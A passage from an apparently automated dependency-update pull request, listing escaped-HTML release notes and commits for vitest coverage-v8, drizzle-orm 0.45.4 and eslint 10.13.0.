\u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6a11cf66f99fa610b7364363d5ca42b66d994f40\"\u003e\u003ccode\u003e6a11cf6\u003c/code\u003e\u003c/a\u003e chore: release v5.0.4 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11554\"\u003e#11554\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/2297d93a854968d2ffee6025700c69099e6b7f80\"\u003e\u003ccode\u003e2297d93\u003c/code\u003e\u003c/a\u003e fix(coverage): v8 browser memory leak between test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11466\"\u003e#11466\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c74e099a9d17e24e9816878165af4818df84a631\"\u003e\u003ccode\u003ec74e099\u003c/code\u003e\u003c/a\u003e fix(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11167\"\u003e#11167\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/33cadea62e8763c455c7fca38d9ab1dda87c5f75\"\u003e\u003ccode\u003e33cadea\u003c/code\u003e\u003c/a\u003e chore: release v5.0.3 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11409\"\u003e#11409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a029e76a9e72ebdd468452ee1bb788bbe5dc635e\"\u003e\u003ccode\u003ea029e76\u003c/code\u003e\u003c/a\u003e chore: migrate to oxc (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11367\"\u003e#11367\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/428e2e5043c64635b6b157358bde2fdeaa7b6b3a\"\u003e\u003ccode\u003e428e2e5\u003c/code\u003e\u003c/a\u003e chore: release v5.0.2 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11357\"\u003e#11357\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/03630a5995d10455fa136be53bfb2b2409381106\"\u003e\u003ccode\u003e03630a5\u003c/code\u003e\u003c/a\u003e chore: release v5.0.1 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11275\"\u003e#11275\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f441c6fab25e579c5b7dd3dd50538416f415fbae\"\u003e\u003ccode\u003ef441c6f\u003c/code\u003e\u003c/a\u003e chore: release v5.0.0 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11130\"\u003e#11130\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c4473e48ee046938a9ab6784fe2735257c2c0f72\"\u003e\u003ccode\u003ec4473e4\u003c/code\u003e\u003c/a\u003e fix(coverage): prevent crash on \u003ccode\u003e/@fs/\u003c/code\u003e prepended virtual files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11119\"\u003e#11119\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `drizzle-orm` from 0.45.2 to 0.45.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/releases\"\u003edrizzle-orm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.45.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epostgres-js\u003c/code\u003e not using prepared queries on explicit \u003ccode\u003e.prepare(name)\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.45.3\u003c/h2\u003e\n\u003ch2\u003eNew Netlify DB Driver\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNote: The Netlify DB driver is developed and maintained by the Netlify team.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003eInstallation:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003enpm i @netlify/db\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eUsage example:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre lang=\"typescript\"\u003e\u003ccode\u003eimport { drizzle } from 'drizzle-orm/netlify-db';\n\u003cp\u003e// reads NETLIFY_DB_URL and NETLIFY_DB_DRIVER env vars\nconst db = drizzle();\u003c/p\u003e\n\u003cp\u003econst result = await db.execute('select 1');\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cpre lang=\"typescript\"\u003e\u003ccode\u003eimport { drizzle } from 'drizzle-orm/netlify-db';\n\nconst db = drizzle(process.env.DATABASE_URL);\n\nconst result = await db.execute('select 1');\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre lang=\"typescript\"\u003e\u003ccode\u003eimport { drizzle } from 'drizzle-orm/netlify-db';\n\n// Explicit client — consumer controls the driver\nconst db = drizzle({ client: netlifyDbClient });\n\nconst result = await db.execute('select 1');\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/eab8bedbb65d5429c54e612ddbd88aa23091d398\"\u003e\u003ccode\u003eeab8bed\u003c/code\u003e\u003c/a\u003e Fixed \u003ccode\u003epostgres-js\u003c/code\u003e not using prepared queries on explicit \u003ccode\u003e.prepare(name)\u003c/code\u003e (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/15454dbe49d827c6081f3d0231e2e7985e517295\"\u003e\u003ccode\u003e15454db\u003c/code\u003e\u003c/a\u003e +\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/54e436feea82c856d5644152cc9d186e237e2e95\"\u003e\u003ccode\u003e54e436f\u003c/code\u003e\u003c/a\u003e exclude gel from pull\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/0fd1cc61f1ff6553234d29042461fc5e9aa551c3\"\u003e\u003ccode\u003e0fd1cc6\u003c/code\u003e\u003c/a\u003e remove gel\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/d028db74f20cbf3740bcaaf136beb9eb27f0928c\"\u003e\u003ccode\u003ed028db7\u003c/code\u003e\u003c/a\u003e skip gel\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/93dc01e355724e666b656377cb07cf9613153787\"\u003e\u003ccode\u003e93dc01e\u003c/code\u003e\u003c/a\u003e [All-kit]: Warn when journal timestamps can cause migrations to be skipped (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/b7862528fd8fc39bc2653a6c18dad7c1f4e68d10\"\u003e\u003ccode\u003eb786252\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/6049\"\u003e#6049\u003c/a\u003e from drizzle-team/drizzle-kit-announcements\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/f9fc5bf30bc14e84f2416349acbd6c04001a497e\"\u003e\u003ccode\u003ef9fc5bf\u003c/code\u003e\u003c/a\u003e Add drizzle-kit announcement manifest and schema doc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/9d6453215d18705986c2081124437bb6a03fb943\"\u003e\u003ccode\u003e9d64532\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/6004\"\u003e#6004\u003c/a\u003e from drizzle-team/pin-npm-11-main\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/0af2f2ea5b75f0831a36874e23df9c294c49e26e\"\u003e\u003ccode\u003e0af2f2e\u003c/code\u003e\u003c/a\u003e Pin the release npm self-update to major 11: the npm 12.0.0 tarball is missin...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/compare/0.45.2...0.45.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 9.39.5 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/47b7063b3f3f7bc7a5bcb87c082577e4e8b96e24\"\u003e\u003ccode\u003e47b7063\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.1.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21398\"\u003e#21398\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e5aea414cc00555ecd43f6e608bf80e0f9a6d4d6\"\u003e\u003ccode\u003ee5aea41\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21390\"\u003e#21390\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.12.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4618052eed6bb3ef420cf0db0490bbda2fd835a5\"\u003e\u003ccode\u003e4618052\u003c/code\u003e\u003c/a\u003e feat: handle astral letters in \u003ccode\u003enew-cap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21357\"\u003e#21357\u003c/a\u003e) (sary)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4ec5168d6d6888e3f7b163eb82963d40e45a75fa\"\u003e\u003ccode\u003e4ec5168\u003c/code\u003e\u003c/a\u003e feat: allow \u003ccode\u003eSourceCode#getText()\u003c/code\u003e to accept tokens and comments (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21340\"\u003e#21340\u003c/a\u003e) (electrohyun)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bc51eee6e3e816622b2dd1bc08acb9cfb2d3a6a7\"\u003e\u003ccode\u003ebc51eee\u003c/code\u003e\u003c/a\u003e fix: \u003ccode\u003eprefer-arrow-callback\u003c/code\u003e false positive in conditional test (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21373\"\u003e#21373\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bbff86c41521cc435e20754e26007f657a843038\"\u003e\u003ccode\u003ebbff86c\u003c/code\u003e\u003c/a\u003e fix: skip lines with multiple comments in \u003ccode\u003emax-lines-per-function\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21332\"\u003e#21332\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/efc4d6bdc4c4d1dfba8bdab6a8f44f27a1b1d00a\"\u003e\u003ccode\u003eefc4d6b\u003c/code\u003e\u003c/a\u003e fix: astral letters in \u003ccode\u003econsistent-return\u003c/code\u003e, \u003ccode\u003eno-eval\u003c/code\u003e, \u003ccode\u003eno-invalid-this\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21360\"\u003e#21360\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/93de066d4125f8df013d40305e8009f4634a5cba\"\u003e\u003ccode\u003e93de066\u003c/code\u003e\u003c/a\u003e fix: prefer-exponentiation-operator autofix for async function base (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21322\"\u003e#21322\u003c/a\u003e) (Vladimir Babin)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/02e34ffba6adbed72365177c7caee71d950834e5\"\u003e\u003ccode\u003e02e34ff\u003c/code\u003e\u003c/a\u003e fix: add missing space after \u003ccode\u003eelse\u003c/code\u003e in \u003ccode\u003ecurly\u003c/code\u003e autofix (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21355\"\u003e#21355\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b14b8bc213ccfc19d3edcfa9ce6af62622661160\"\u003e\u003ccode\u003eb14b8bc\u003c/code\u003e\u003c/a\u003e fix: correct \u003ccode\u003eid-length\u003c/code\u003e message for long private names (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21348\"\u003e#21348\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/69aac01d898837a934c9e735e0b7881cc1df09e8\"\u003e\u003ccode\u003e69aac01\u003c/code\u003e\u003c/a\u003e fix: support \u003ccode\u003eTSFunctionType\u003c/code\u003e in \u003ccode\u003egetFunctionHeadLoc\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21335\"\u003e#21335\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003cli\u003e\u003ca 